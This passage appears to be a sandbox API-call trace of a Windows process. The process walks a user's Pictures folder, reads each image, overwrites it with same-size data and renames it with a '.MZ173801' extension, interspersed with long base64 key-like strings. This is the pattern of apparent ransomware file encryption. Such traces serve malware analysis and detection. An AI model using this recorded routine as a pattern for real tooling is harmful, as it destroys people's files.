HALPmcxz\\Pictures\\6sxGhE_\\Px1_mRLS.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\px1_mrls.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5014310, ftCreationTime.dwHighDateTime=0x1d5dd15, ftLastAccessTime.dwLowDateTime=0x8e3153c0, ftLastAccessTime.dwHighDateTime=0x1d5d9d0, ftLastWriteTime.dwLowDateTime=0x8e3153c0, ftLastWriteTime.dwHighDateTime=0x1d5d9d0, nFileSizeHigh=0x0, nFileSizeLow=0x2222)) returned 1 [0122.849] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.849] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.850] GetCurrentThreadId () returned 0x9fc [0122.850] GetCurrentThreadId () returned 0x9fc [0122.850] GetCurrentThreadId () returned 0x9fc [0122.851] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.851] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.851] GetCurrentThreadId () returned 0x9fc [0122.851] GetCurrentThreadId () returned 0x9fc [0122.851] GetCurrentThreadId () returned 0x9fc [0122.851] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\Px1_mRLS.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\px1_mrls.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.851] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0122.851] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.852] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x2222 [0122.852] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.852] ReadFile (in: hFile=0x280, lpBuffer=0x714510, nNumberOfBytesToRead=0x2222, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x2222, lpOverlapped=0x0) returned 1 [0122.853] CloseHandle (hObject=0x280) returned 1 [0122.853] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\Px1_mRLS.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\px1_mrls.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.854] WriteFile (in: hFile=0x280, lpBuffer=0x718540*, nNumberOfBytesToWrite=0x2222, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x718540*, lpNumberOfBytesWritten=0x18f6d0*=0x2222, lpOverlapped=0x0) returned 1 [0122.855] CloseHandle (hObject=0x280) returned 1 [0122.856] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\Px1_mRLS.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\px1_mrls.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\Px1_mRLS.bmp.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\px1_mrls.bmp.mz173801")) returned 1 [0122.857] GetCurrentThreadId () returned 0x9fc [0122.857] GetCurrentThreadId () returned 0x9fc [0122.857] GetCurrentThreadId () returned 0x9fc [0122.857] GetCurrentThreadId () returned 0x9fc [0122.857] GetCurrentThreadId () returned 0x9fc [0122.857] GetCurrentThreadId () returned 0x9fc [0122.857] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x969a6a40, ftCreationTime.dwHighDateTime=0x1d5e279, ftLastAccessTime.dwLowDateTime=0x58d40fb0, ftLastAccessTime.dwHighDateTime=0x1d5dff2, ftLastWriteTime.dwLowDateTime=0x58d40fb0, ftLastWriteTime.dwHighDateTime=0x1d5dff2, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="WBa20XpzpXs6n.gif", cAlternateFileName="WBA20X~1.GIF")) returned 1 [0122.857] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.857] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.857] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\WBa20XpzpXs6n.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\wba20xpzpxs6n.gif"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x969a6a40, ftCreationTime.dwHighDateTime=0x1d5e279, ftLastAccessTime.dwLowDateTime=0x58d40fb0, ftLastAccessTime.dwHighDateTime=0x1d5dff2, ftLastWriteTime.dwLowDateTime=0x58d40fb0, ftLastWriteTime.dwHighDateTime=0x1d5dff2, nFileSizeHigh=0x0, nFileSizeLow=0xc20)) returned 1 [0122.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.860] GetCurrentThreadId () returned 0x9fc [0122.860] GetCurrentThreadId () returned 0x9fc [0122.860] GetCurrentThreadId () returned 0x9fc [0122.860] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 